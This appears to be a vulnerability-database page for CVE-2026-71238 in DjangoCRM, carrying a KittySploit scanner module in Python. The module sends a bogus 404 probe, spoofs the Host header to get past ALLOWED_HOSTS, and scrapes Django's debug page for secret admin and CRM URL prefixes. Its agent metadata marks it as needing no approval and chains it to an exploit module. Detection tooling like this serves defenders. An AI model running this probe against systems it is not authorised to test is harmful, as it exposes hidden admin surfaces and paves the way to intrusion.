DjangoCRM CVE-2026-71238 Debug Disclosure Detect
| Reporter | Title | Published | Views | Family All 12 |
|---|---|---|---|---|
| CVE-2026-71238 | 5 Aug 202610:56 | – | attackerkb | |
| CVE-2026-71238 | 5 Aug 202611:34 | – | circl | |
| CVE-2026-71238 | 5 Aug 202610:56 | – | cve | |
| CVE-2026-71238 DjangoCRM - Hardcoded Django SECRET_KEY Enables Session and CSRF Token Forgery | 5 Aug 202610:56 | – | cvelist | |
| EUVD-2026-53311 | 5 Aug 202610:56 | – | euvd | |
| DjangoCRM Debug Info Disclosure (CVE-2026-71238) | 8 Aug 202616:40 | – | kittysploit | |
| CVE-2026-71238 | 5 Aug 202610:56 | – | mend | |
| CVE-2026-71238 | 5 Aug 202611:16 | – | nvd | |
| 📄 DjangoCRM 2.4.0 Debug Information Disclosure | 10 Aug 202600:00 | – | packetstorm | |
| PT-2026-68104 | 5 Aug 202600:00 | – | ptsecurity |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Detect DjangoCRM (django-crm) CVE-2026-71238 unauthenticated debug disclosure."""
import re
from html import unescape
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
"name": "DjangoCRM CVE-2026-71238 Debug Disclosure Detect",
"description": (
"Detects CVE-2026-71238 in DjangoCRM 0.91 through 2.4.0: shipped webcrm/settings.py "
"keeps DEBUG=True and relies on secret URL prefixes for admin/CRM access. A bogus i18n "
"404 triggers Django's technical_404_response and leaks those prefixes to any anonymous "
"requester, defeating access-by-obscurity."
),
"author": ["KittySploit Team"],
"severity": "high",
"cve": ["CVE-2026-71238"],
"references": [
"https://nvd.nist.gov/vuln/detail/CVE-2026-71238",
"https://www.cve.org/CVERecord?id=CVE-2026-71238",
],
"modules": ["auxiliary/admin/http/django_crm_cve_2026_71238_info_disclosure"],
"tags": [
"web",
"scanner",
"django",
"django-crm",
"debug",
"info-disclosure",
"crm",
"cve-2026-71238",
"vuln",
],
"agent": {
"risk": "active",
"effects": ["network_probe"],
"expected_requests": 2,
"reversible": True,
"approval_required": False,
"produces": ["tech_hints", "risk_signals", "endpoints", "exploit_paths"],
"cost": 1.0,
"noise": 0.4,
"value": 1.0,
"requires": {
"tech_hints_any": ["django", "python"],
"confidence_min_any": {"django": 0.2},
},
"chain": {
"produces_capabilities": [
{"capability": "info_disclosure", "from_detail": "URLconf prefix leak"},
{"capability": "admin_surface", "from_detail": "recovered CRM prefix"},
],
"suggested_followups": [
"auxiliary/admin/http/django_crm_cve_2026_71238_info_disclosure",
],
},
},
}
port = OptPort(8000, "DjangoCRM HTTP port", True)
ssl = OptBool(False, "Use HTTPS", True, advanced=True)
lang_prefix = OptString("en", "i18n language prefix for the bogus 404 probe", False, advanced=True)
probe_suffix = OptString(
"alim-nonexistent-zzz",
"Final path segment for the bogus 404 probe",
False,
advanced=True,
)
def _parse_prefixes(self, body: str):
if "Django tried these URL patterns" not in (body or ""):
return None, None, []
text = unescape(body or "")
pairs = re.findall(
r"<code>\s*([A-Za-z]{2}(?:-[A-Za-z]{2})?/)\s*</code>\s*"
r"<code>\s*([^<\s][^<]*?)\s*</code>",
text,
)
counts = {}
order = []
for _lang, nested in pairs:
nested = nested.strip()
if not nested:
continue
if nested not in counts:
counts[nested] = 0
order.append(nested)
counts[nested] += 1
if not order:
return None, None, []
ranked = sorted(order, key=lambda p: (-counts[p], order.index(p)))
return ranked[0], ranked[1] if len(ranked) > 1 else None, order
def run(self):
base = (self.path or "/").rstrip("/")
path = f"{base}/{self.lang_prefix}/{self.probe_suffix.lstrip('/')}"
try:
response = self.http_request(method="GET", path=path, allow_redirects=False, timeout=int(self.timeout or 15))
if response and response.status_code == 400:
for host in ("localhost", "127.0.0.1"):
response = self.http_request(
method="GET",
path=path,
allow_redirects=False,
timeout=int(self.timeout or 15),
headers={"Host": host},
)
if response and response.status_code != 400:
break
except Exception as exc:
print_status(f"CVE-2026-71238 probe failed: {exc.__class__.__name__}")
return False
if not response or response.status_code == 400:
if response and response.status_code == 400:
print_status("CVE-2026-71238 probe blocked by ALLOWED_HOSTS (HTTP 400)")
return False
body = response.text or ""
if "Django tried these URL patterns" not in body:
return False
crm, admin, all_prefixes = self._parse_prefixes(body)
if not all_prefixes:
self.set_info(
severity="medium",
reason="CVE-2026-71238: Django debug 404 present but no nested prefixes parsed",
cve="CVE-2026-71238",
path=path,
)
return True
reason = f"CVE-2026-71238: URLconf leaked CRM prefix '{crm}'"
if admin:
reason += f", admin prefix '{admin}'"
print_status(f"CVE-2026-71238 vuln=True prefixes={', '.join(all_prefixes)}")
self.set_info(
severity="high",
reason=reason,
vulnerable=True,
cve="CVE-2026-71238",
path=path,
crm_prefix=crm,
admin_prefix=admin,
prefixes=all_prefixes,
login_path=f"{base}/{self.lang_prefix}/{crm}" if crm else None,
)
return True
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
08 Aug 2026 16:40Current
5.7Medium risk
Vulners AI Score5.7
CVSS 3.19.1
EPSS0.0044
SSVC